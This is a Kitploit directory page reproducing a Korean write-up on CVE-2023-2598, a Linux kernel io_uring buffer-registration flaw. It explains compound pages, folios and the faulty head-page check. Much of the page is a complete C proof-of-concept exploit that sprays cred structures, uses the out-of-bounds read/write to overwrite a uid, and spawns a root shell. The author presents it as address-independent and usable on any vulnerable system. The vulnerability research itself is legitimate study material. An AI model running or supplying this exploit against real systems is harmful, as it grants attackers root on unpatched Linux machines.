Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-2598 — CVE-2023-2598에 대한 기술적 분석 및 개념 증명 익스플로잇으로, io_uring의 버퍼 등록에서 발생하는 Linux 커널 권한 상승 취약점에 대해 설명하며, Compound Page 및 folio 내부 구조에 대한 상세한 설명을 포함합니다. | Kitploit
도구/GitHubGitHub/cainiao159357/cve-2023-2598
Privilege EscalationVulnerability AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubcainiao159357/cve-2023-2598

CVE-2023-2598

CVE-2023-2598에 대한 기술적 분석 및 개념 증명 익스플로잇으로, io_uring의 버퍼 등록에서 발생하는 Linux 커널 권한 상승 취약점에 대해 설명하며, Compound Page 및 folio 내부 구조에 대한 상세한 설명을 포함합니다.

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-2598 권한 상승

CVE-2023-2598을 통해 리눅스의 Compound Page와 folio 메커니즘을 이해하고, 이후 1day 취약점 CVE-2023-6560를 이용할 수 있는지 확인해본다.

Compound Page(huge page)

메모리는 점점 커지지만 리눅스의 기본 페이지 할당 단위는 여전히 4KB로 부족해지면서, 복합 페이지(compound page)가 도입되었다. 복합 페이지는 여러 페이지를 하나의 집합으로 취급하여, 두 개 이상의 물리적으로 연속된 페이지를 하나의 단위로 결합한 것이다. 여러 측면에서 단일의 더 큰 페이지로 간주할 수 있다. 이들은 주로 대용량 페이지를 생성할 때 사용되며, hugetlbfs나 투명 대용량 페이지(transparent huge pages) 서브시스템에서 사용되지만 다른 시나리오에서도 나타난다. 복합 페이지는 익명 메모리나 커널 내의 버퍼로 사용될 수 있지만, page cache에는 나타날 수 없다. page cache는 단일 페이지만 처리할 수 있기 때문이다.

복합 페이지는 alloc_pages()를 호출하고 __GFP_COMP 할당 플래그를 설정하며 페이지 프레임 수가 1보다 크도록(order가 최소 1) 설정하여 할당한다. 이것은 복합 페이지 구현 메커니즘에 의해 결정된다.

참고: 복합 페이지는 반드시 물리적으로 연속적이다.

첫 번째 페이지의 flag는 PG_head를 표시하여 이것이 복합 페이지의 헤드 페이지임을 나타낸다. 그 이후의 모든 페이지는 두 가지 속성인 mapping과 compound_head를 가지며, compound_head를 통해 테일 페이지인지 헤드 페이지인지 확인한다. 자세한 내용은 compound_head() 함수 참조. 두 번째 페이지에는 더 많은 복합 페이지 정보가 저장되며, 이것이 복합 페이지의 order가 최소 1인 이유이다.

root@kitploit:~
static inline unsigned long _compound_head(const struct page *page)
{
        unsigned long head = READ_ONCE(page->compound_head);
 
        if (unlikely(head & 1))
                return head - 1;
        return (unsigned long)page;
}

이 필드는 플래그뿐만 아니라 헤드 페이지를 가리키는 포인터도 포함하고 있음을 알 수 있다.

따라서 page를 얻었을 때 그것이 복합 페이지인지, 복합 페이지라면 헤드 페이지인지 테일 페이지인지 쉽게 판단할 수 있다. 그러나 복합 페이지의 크기라는 중요한 정보가 누락되어 있다. 이 복합 페이지의 크기를 모르면, 복합 페이지를 해제할 때 크기를 알아야 한다. 이 정보는 모두 첫 번째 테일 페이지의 lru 필드에 저장된다. 복합 페이지의 크기(order)를 먼저 포인터 타입으로 강제 변환한 후 lru.prev에 저장하고, 소멸자(dtor)는 lru.next에 저장한다.

헤드 페이지와 복합 페이지의 크기만 알면 대용량 페이지를 올바르게 해제할 수 있다. 복합 페이지는 모두 물리적으로 연속적이기 때문이다.

구조는 아래 그림과 같다.

img

folio

folio는 page의 래퍼(overhead 없음)로 볼 수 있다. folio는 단일 페이지일 수도 있고 복합 페이지일 수도 있다.

img

위 그림은 page 구조체의 개략도로, 64바이트로 flags, lru, mapping, index, private, {ref_, map_}count, memcg_data 등의 정보를 관리한다. page가 복합 페이지일 때 위의 flags 등의 정보는 헤드 페이지에 있고, 테일 페이지는 compound_{head, mapcount, order, nr, dtor} 등의 정보를 관리하는 데 재사용된다.

root@kitploit:~
struct folio {
        /* private: don't document the anon union */
        union {
                struct {
        /* public: */
                        unsigned long flags;
                        struct list_head lru;
                        struct address_space *mapping;
                        pgoff_t index;
                        void *private;
                        atomic_t _mapcount;
                        atomic_t _refcount;
#ifdef CONFIG_MEMCG
                        unsigned long memcg_data;
#endif
        /* private: the union with struct page is transitional */
                };
                struct page page;
        };
};

folio 구조체 정의에서 flags, lru 등의 정보는 page와 완전히 일치하므로 page와 union을 사용할 수 있다. 따라서 folio->page->flags 대신 folio->flags를 직접 사용할 수 있다.

root@kitploit:~
#define page_folio(p)           (_Generic((p),                          \
        const struct page *:    (const struct folio *)_compound_head(p), \
        struct page *:          (struct folio *)_compound_head(p)))

#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n)    nth_page(&(folio)->page, n)

처음 page_folio를 보면 혼란스러울 수 있지만, 실제로는 다음과 같다.

root@kitploit:~
switch (typeof(p)) {
  case const struct page *:
    return (const struct folio *)_compound_head(p);
  case struct page *:
    return (struct folio *)_compound_head(p)));
}

page_folio 매크로를 통해 folio는 실제로 복합 페이지의 헤드 페이지임을 알 수 있다. folio를 page로 변환할 때 folio->page는 헤드 페이지를 얻고, folio_page(folio, n)은 테일 페이지를 얻는 데 사용된다.

그렇다면 folio가 왜 필요한가? 더 나아가, 이는 개발과 효율성을 고려한 것이다. folio가 없으면 함수 내에서 현재 페이지가 헤드 페이지인지 판단할 수 없으므로 _compound_head를 호출해야 한다. 실행 경로가 많아지면 경로상의 모든 함수가 _compound_head를 호출하게 되어 효율성에 영향을 줄 수 있다. 그러나 함수가 struct folio * 매개변수만 받는다면, 이 folio는 헤드 페이지를 가리키므로 함수 내에서 더 이상 _compound_head를 호출할 필요가 없다.

따라서 주로 세 가지 역할이 있다.

  1. 중복된 compound_head 호출을 줄인다.
  2. 개발자에게 힌트를 제공한다. folio를 보면 헤드 페이지임을 알 수 있다.
  3. 잠재적인 테일 페이지로 인한 버그를 수정한다.

취약점 원리

io_uring의 io_uring_register_buffer에는 다음과 같은 로직이 있다.

image-20240830214419290

사용자 공간에서 전달한 페이지가 1보다 크면 io_uring은 전달된 buffer가 folio인지 확인한다. 판단 방법은 page_folio()를 사용하여 해당 page[i]의 헤드 페이지를 얻고, page[i]의 헤드 페이지가 page[0]과 같으면 동일한 복합 페이지 테이블에 속한다고 간주한다.

일반적으로 이 처리는 문제가 없지만, 특수한 경우가 있다. 사용자 공간에서 mmap을 사용하여 동일한 물리 페이지 테이블을 연속된 가상 주소에 매핑하면 이 판단 조건도 만족하므로, 결국 이 분기로 들어간다.

image-20240830225137539

이때 사용자 공간은 하나의 물리 페이지만 할당했지만, 최종 size는 연속된 가상 주소의 크기가 되어 size가 실제로 할당된 물리 주소 영역보다 커질 수 있다. 결과적으로 오버플로우 읽기/쓰기가 발생한다.

취약점 이용

cred를 뿌린 후 이 경계 초과 읽기/쓰기 인터페이스를 사용하여 uid를 수정한다.

인터넷에 있는 exp와 달리, 이 exp는 uid를 덮어쓰기 때문에 주소 의존성이 없으며, 해당 취약점이 존재하는 모든 시스템에서 사용 가능하다.

root@kitploit:~
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>

#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600

#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)

int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
                  "\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
    .tv_sec = 1145141919,
    .tv_nsec = 0,
};

void err_exit(char *buf){
    fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
    exit(-1);
}
void log(char *buf){
    fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
    for(int i=0;i<CRED_DRAIN;i++){
        int ret=fork();
        if(!ret){
            read(check_root_pipe[0],child_pipe_buf,1);
            if(getuid()==0){
                write(1, root_str, 71);
                system("/bin/sh");
            }
            sleep(100000000);
        }
        check_ret(ret,"fork fail");
    }
}
void clear_buddy(){
    void * pages[MAX_PAGES];
    for(int i=0;i<MAX_PAGES;i++){
        pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
        check_ret(pages[i],"mmap");
    }
    for(int i=0;i<MAX_PAGES;i++){
        *(char *)pages[i]='a';
    }
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
    /* for syscall, it's clone(flags, stack, ...) */
    __asm__ volatile (
        " mov r15, rsi\n"   /* save the rsi*/
        " xor rsi, rsi\n"   /* set esp and useless args to NULL */
        " xor rdx, rdx\n"
        " xor r10, r10\n"
        " xor r8, r8\n"
        " xor r9, r9\n"
        " mov rax, 56\n"   /* __NR_clone */
        " syscall\n"
        " cmp rax, 0\n"
        " je child_fn\n"
        " ret\n"   /* parent */
        "child_fn:    \n"
        " jmp r15\n"   /* child */
    );
}


int waiting_for_root_fn(void *args)
{
    /* we're using the same stack for them, so we need to avoid cracking it.. */
    __asm__ volatile (
        "   lea rax, [check_root_pipe]\n"
        "   xor rdi, rdi\n"
        "   mov edi, dword ptr [rax]\n"
        "   mov rsi, child_pipe_buf\n"
        "   mov rdx, 1\n"
        "   xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
        "   syscall\n"
        "   mov rax, 102\n" /* getuid() */
        "   syscall\n"
        "   cmp rax, 0\n"
        "   jne failed\n"
        "   mov rdi, 1\n"
        "   lea rsi, [root_str]\n"
        "   mov rdx, 80\n"
        "   mov rax, 1\n"    /* write(1, root_str, 71) */
        "   syscall\n"
        "   lea rdi, [bin_sh_str]\n"
        "   lea rsi, [shell_args]\n"
        "   xor rdx, rdx\n"
        "   mov rax, 59\n"
        "   syscall\n"   /* execve("/bin/sh", args, NULL) */
        "failed: \n"
        "   lea rdi, [timer]\n"
        "   xor rsi, rsi\n"
        "   mov rax, 35\n"  /* nanosleep() */
        "   syscall\n"
    );
    return 0;
}


int main(){
    cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(sched_getcpu(), &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		exit(EXIT_FAILURE);
	}
    struct io_uring ring;
    struct io_uring_sqe *sqe;
    struct io_uring_cqe *cqe;
    int ret;
    int memfd;
    int rw_fd;
    struct iovec iovec;
    char *rw_buffer;
    uint64_t start_addr=0x800000000;
    int nr_pages=500;
    char buf[1000];
    //清空cred cache
    log("drain cred cache");
    pipe(check_root_pipe);
    cred_drain();
    //清空buddy system cache
    log("clear buddy system cache");
    clear_buddy();
    //初始化io_uring
    log("io_uring_setup");
    ret=io_uring_queue_init(8,&ring,0);
    check_ret(ret,"io_uring_setup fail");
    //准备缓冲区
    log("prepare buf to register");
    memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
    check_ret(memfd,"memfd_create fail");
    rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
    check_ret(rw_fd,"memfd_create fail");
    check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
    for(int i=0;i<nr_pages;i++){
        check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
    }
    rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
    check_ret(rw_buffer,"mmap fail");
    //注册缓冲区
    log("register buffer");
    iovec.iov_base=start_addr;
    iovec.iov_len=nr_pages*PAGE_SIZE;
    check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
    //spray cred
    log("spray cred");
    for(int i=0;i<CRED_SPRAY;i++){
        check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
    }
    //search cred page
    log("search crea page");
    int page_offset=0;
    for(int i=0;i<nr_pages;i++){
        sqe=io_uring_get_sqe(&ring);
        check_ret(sqe,"io_uring_get_sqe fail");
        io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
        check_ret(io_uring_submit(&ring),"io_uring_submit fail");
        io_uring_wait_cqe(&ring, &cqe);
        io_uring_cqe_seen(&ring, cqe);
        int uid=((int *)(rw_buffer))[1];
        int gid=((int *)(rw_buffer))[2];
        if(uid==1000 && gid==1000){
            page_offset=i;
            break;
        }
    }
    if(page_offset==0){
        err_exit("not find cred page");
    }
    //edit cred's uid
    log("/edit cred's uid");
    *(size_t *)(rw_buffer)=0x2;
    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);


    sqe=io_uring_get_sqe(&ring);
    check_ret(sqe,"io_uring_get_sqe fail");
    io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
    check_ret(io_uring_submit(&ring),"io_uring_submit fail");
    io_uring_wait_cqe(&ring, &cqe);
    io_uring_cqe_seen(&ring, cqe);
    //check privilege in child processes
    log("check privilege in child processes");
    write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
    sleep(100000000);
}

생각

다음 코드를 주목하자.

image-20240830230232004

만약 전달된 것이 실제 복합 페이지이고 등록되면, io_uring은 뒤의 페이지에 대한 참조 카운트를 증가시키지 않는다. 사용자 공간에서 복합 페이지의 중간 부분을 매핑 해제하면, 해당 메모리 영역은 참조 카운트가 1이므로 완전히 해제된다. 그러나 io_uring에 기록된 size는 변경되지 않으므로, io_uring을 통해 경계를 넘어 읽고 쓸 수 있다. 안타깝게도, 내 테스트에 따르면 리눅스는 복합 페이지의 중간 부분 매핑 해제를 허용하지 않는다. 물론 이것이 타당하다. 허용된다면 페이지 관리가 매우 어려워지기 때문이다.

도구 다운로드